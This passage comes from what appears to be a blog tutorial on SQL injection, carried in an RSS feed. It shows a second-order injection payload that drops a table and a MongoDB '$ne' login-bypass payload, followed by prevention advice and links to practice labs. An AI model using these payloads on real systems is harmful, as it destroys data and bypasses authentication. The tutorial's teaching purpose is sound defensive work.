&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Initial storage:&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;posts&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Great post'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="k"&gt;DROP&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="c1"&gt;-- Later, when viewing posts, the DROP TABLE executes.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We use this example to illustrate how injections can hide in benign inputs and trigger later, bypassing initial sanitization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NoSQL Contexts:&lt;/strong&gt; Document databases like MongoDB suffer similar flaws if user input is embedded directly in JSON queries:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;userInput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;passInput&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Injecting &lt;code&gt;{ "$ne": null }&lt;/code&gt; bypasses both fields. This payload exploits type coercion and query structure in NoSQL contexts.&lt;/p&gt;




&lt;h2&gt;
  
  
  10. Preventing SQL Injection
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Parameterized Queries / Prepared Statements:&lt;/strong&gt; Bind variables instead of concatenating strings.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ORMs &amp;amp; Query Builders:&lt;/strong&gt; Rely on built-in methods that auto-escape inputs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Strict Input Validation:&lt;/strong&gt; Use allow-lists for IDs, enforce regex for emails, etc.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Least Privilege:&lt;/strong&gt; Limit database user rights to only necessary operations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Error Handling:&lt;/strong&gt; Suppress verbose errors in production; log details internally.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regular Testing:&lt;/strong&gt; Combine automated scanners with manual pentesting.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;Never trust user input—always treat it as data, not code.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  11. Additional Resources &amp;amp; Cheat Sheets
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Practice Platforms
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PortSwigger Web Security Academy:&lt;/strong&gt; &lt;a href="https://portswigger.net/web-security" rel="noopener noreferrer"&gt;https://portswigger.net/web-security&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DVWA:&lt;/strong&gt; &lt;a href="http://www.dvwa.co.uk/" rel="noopener noreferrer"&gt;http://www.dvwa.co.uk/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OWASP Juice Shop:&lt;/strong&gt; &lt;a href="https://owasp.org/www-project-juice-shop/" rel="noopener noreferrer"&gt;https://owasp.org/www-project-juice-shop/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hack The Box:&lt;/strong&gt; &lt;a href="https://www.hackthebox.com/" rel="noopener noreferrer"&gt;https://www.hackthebox.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TryHackMe:&lt;/strong&gt; &lt;a href="https://tryhackme.com/" rel="noopener noreferrer"&gt;https://tryhackme.com/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cheat Sheets &amp;amp; References
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PortSwigger SQL Injection Cheat Sheet:&lt;/strong&gt; &lt;a href="https://portswigger.net/kb/sql-injection-cheat-sheet" rel="noopener noreferrer"&gt;https://portswigger.net/kb/sql-injection-cheat-sheet&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OWASP Testing Guide – SQLi:&lt;/strong&gt; &lt;a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/03-Testing_for_SQL_Injection" rel="noopener noreferrer"&gt;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/03-Testing_for_SQL_Injection&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SQLMap Docs:&lt;/strong&gt; &lt;a href="https://sqlmap.org/" rel="noopener noreferrer"&gt;https://sqlmap.org/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;br&gt;
SQL Injection remains one of the most critical web vulnerabilities. Mastering each technique—from classic bypass to advanced OAST—empowers both attackers and defenders to secure or exploit applications effectively.&lt;/p&gt;

&lt;p&gt;Thanks to everyone who made it to the end of this blog. Make sure to follow me on X (&lt;a href="https://x.com/Advik_Kant" rel="noopener noreferrer"&gt;https://x.com/Advik_Kant&lt;/a&gt;) till then stay ethical, stay curious, and always code defensively!&lt;/p&gt;

</description>
      <category>programming</category>
      <category>tutorial</category>
      <category>sql</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
